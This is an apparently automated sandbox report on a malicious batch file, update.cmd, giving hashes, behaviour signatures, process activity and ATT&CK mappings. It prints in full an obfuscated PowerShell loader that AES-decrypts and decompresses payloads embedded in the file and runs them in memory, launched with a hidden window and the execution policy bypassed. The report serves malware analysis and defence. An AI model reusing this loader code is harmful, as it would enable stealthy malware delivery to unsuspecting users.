56b65c0c1e134f20968c3027a527f27722c11de4512460eabf0002e95e593e0d

Analysis

max time kernel
120s
max time network
121s
platform
windows7_x64
resource
win7-20240419-en
resource tags

arch:x64arch:x86image:win7-20240419-enlocale:en-usos:windows7-x64system
submitted
23-05-2024 18:36

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General

Target

update.cmd
Size

91KB
MD5

981e0374ab07b58ea53823122fe91be7
SHA1

a162c8fac692cf34db330384f577f017fa003751
SHA256

56b65c0c1e134f20968c3027a527f27722c11de4512460eabf0002e95e593e0d
SHA512

edb3d2b49fd93462e12f6b67a9c476fdc4c085e684f127b110802d15545f2d62531239992fc21c07e2716a287da17b1efeaa150deb902c17bf59461be52a1043
SSDEEP

1536:W0Lad++Lr2vjYZRs6LTKZLZLNcUYv20oARdg59+AMlreZ3lVcJLhRMDTaPi2+YpA:VWsaLmZCtC9+plrS1VwLrME+Y6

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

1644 powershell.exe
Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

Processes:

powershell.exe

pid process

1644 powershell.exe
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

1644 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1644 powershell.exe

pid	process
1644	powershell.exe

pid	process
1644	powershell.exe

pid	process
1644	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1644	powershell.exe

Suspicious use of WriteProcessMemory 10 IoCs

Processes:

cmd.exe

description	pid	process	target process
PID 2128 wrote to memory of 2064	2128	cmd.exe	cmd.exe
PID 2128 wrote to memory of 2064	2128	cmd.exe	cmd.exe
PID 2128 wrote to memory of 2064	2128	cmd.exe	cmd.exe
PID 2128 wrote to memory of 1956	2128	cmd.exe	cmd.exe
PID 2128 wrote to memory of 1956	2128	cmd.exe	cmd.exe
PID 2128 wrote to memory of 1956	2128	cmd.exe	cmd.exe
PID 2128 wrote to memory of 1644	2128	cmd.exe	powershell.exe
PID 2128 wrote to memory of 1644	2128	cmd.exe	powershell.exe
PID 2128 wrote to memory of 1644	2128	cmd.exe	powershell.exe
PID 2128 wrote to memory of 1644	2128	cmd.exe	powershell.exe

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\update.cmd"
1⤵
- Suspicious use of WriteProcessMemory
PID:2128

C:\Windows\system32\cmd.exe
cmd /c "set __=^&rem"
2⤵
PID:2064

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('cEoPe6dpwVu7fDERkKynhFR/1EqmZQt/n7wIxJrBC2M='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('UDOjbmgbocvvVyzcITNo4Q=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $OQQuw=New-Object System.IO.MemoryStream(,$param_var); $eDfzX=New-Object System.IO.MemoryStream; $Pftxr=New-Object System.IO.Compression.GZipStream($OQQuw, [IO.Compression.CompressionMode]::Decompress); $Pftxr.CopyTo($eDfzX); $Pftxr.Dispose(); $OQQuw.Dispose(); $eDfzX.Dispose(); $eDfzX.ToArray();}function execute_function($param_var,$param2_var){ $umdfJ=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $wCVTW=$umdfJ.EntryPoint; $wCVTW.Invoke($null, $param2_var);}$yEoUp = 'C:\Users\Admin\AppData\Local\Temp\update.cmd';$host.UI.RawUI.WindowTitle = $yEoUp;$BlEZh=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($yEoUp).Split([Environment]::NewLine);foreach ($vQXry in $BlEZh) { if ($vQXry.StartsWith('uuoNTGQdmxGwoNrYAGxC')) { $NjUsU=$vQXry.Substring(20); break; }}$payloads_var=[string[]]$NjUsU.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
2⤵
PID:1956

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass
2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1644

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

memory/1644-2-0x0000000074101000-0x0000000074102000-memory.dmp

Filesize
4KB

Download
memory/1644-3-0x0000000074100000-0x00000000746AB000-memory.dmp

Filesize
5.7MB

Download
memory/1644-4-0x0000000074100000-0x00000000746AB000-memory.dmp

Filesize
5.7MB

Download
memory/1644-5-0x0000000074100000-0x00000000746AB000-memory.dmp

Filesize
5.7MB

Download
memory/1644-6-0x0000000074100000-0x00000000746AB000-memory.dmp

Filesize
5.7MB

Download